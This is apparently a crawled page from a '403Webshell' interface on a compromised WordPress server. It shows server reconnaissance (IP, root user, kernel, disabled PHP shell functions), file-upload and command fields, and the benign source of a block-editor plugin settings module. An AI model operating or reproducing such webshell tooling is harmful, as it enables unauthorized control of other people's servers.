403Webshell
Server IP : 38.190.208.107  /  Your IP : 216.73.217.46
Web Server : nginx/1.28.1
System : Linux ht2026040333114 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64
User : root ( 0)
PHP Version : 8.2.28
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv,eval,assert,passthru,system,exec,shell_exec,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/wp.3/wp-content/plugins/better-block-editor/Modules/Settings/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/wp.3/wp-content/plugins/better-block-editor/Modules/Settings/Module.php
<?php
/**
 * Expose some settings to JS in admin panel (JS level).
 *
 * @package BetterBlockEditor
 */

namespace BetterBlockEditor\Modules\Settings;

use BetterBlockEditor\Base\ModuleBase;
use BetterBlockEditor\Core\Settings;
use BetterBlockEditor\Plugin;

defined( 'ABSPATH' ) || exit;

class Module extends ModuleBase {


	const MODULE_IDENTIFIER = 'core-settings';
	const ASSETS_BUILD_PATH = 'editor/plugins/settings/';

	const IS_CORE_MODULE = true;

	/**
	 * rewrite processing assets as we need to increase priority in enqueue_block_editor_assets
	 * default priority is 10 and it's too late as when all blocks are loaded in editor already
	 * but we need user defined breakpoints to be used in our blocks
	 * 9 is fine (empirically)
	 */
	protected function process_assets() {
		// editor interface assets
		if ( ! file_exists( $this->get_assets_full_path() . $this::EDITOR_ASSET_KEY . '.js' ) ) {
			return;
		}

		$this->register_assets( $this::EDITOR_ASSET_KEY );

		add_action(
			'enqueue_block_editor_assets',
			function () {
				$this->enqueue_assets( $this::EDITOR_ASSET_KEY );
				// inject some additional data to JS
				// it's important to do as late as possible so all modules can add their data 
				// via wpbbe_script_data filter (sometimes we need there core data to be 
				// formed or functions initialized which happens on late stages of code execution)
				$this->enqueue_block_editor_inline_data();
			},
			9
		);
	}

	protected function enqueue_assets( $key ) {
		$script_handle = $this->build_script_handle( $key );
		wp_enqueue_script( $script_handle );
	}


	/**
	 * Inject inline modules script data to the frontend.
	 *
	 * This method attaches a global JS object (`window.WPBBE_DATA`).
	 * We use wp_add_inline_script() with the 'wp-block-editor' handle because:
	 * - 'wp-block-editor' is a core WordPress script always loaded in the block editor context.
	 * - Attaching inline data here ensures our global JS data (window.WPBBE_DATA) is available
	 *   before any of our custom block scripts run since they depend on 'wp-block-editor',
	 *   which is automatically defined as a dependency during the build process.
	 */
	protected function enqueue_block_editor_inline_data() {
		$data = array(
			'features'    => Plugin::instance()->get_active_features_keys(),
			'breakpoints' => $this->get_user_defined_breakpoints_data(),
		);

		$data = apply_filters( 'wpbbe_script_data', $data );

		wp_add_inline_script(
			'wp-block-editor',
			'window.WPBBE_DATA = ' . wp_json_encode( $data ) . ';'
		);
	}


	/**
	 * Get all user defined breakpoints data
	 *
	 * @return array
	 */
	protected function get_user_defined_breakpoints_data() {
		$data = array();
		foreach ( Settings::get_user_defined_breakpoints() as $key => $breakpoint ) {
			$js_data           = array();
			$js_data['key']    = $key;
			$js_data['name']   = $breakpoint['name'];
			$js_data['value']  = $breakpoint['value'] . $breakpoint['unit'];
			$js_data['active'] = $breakpoint['active'] ? true : false;

			$data[] = $js_data;
		}
		return $data;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit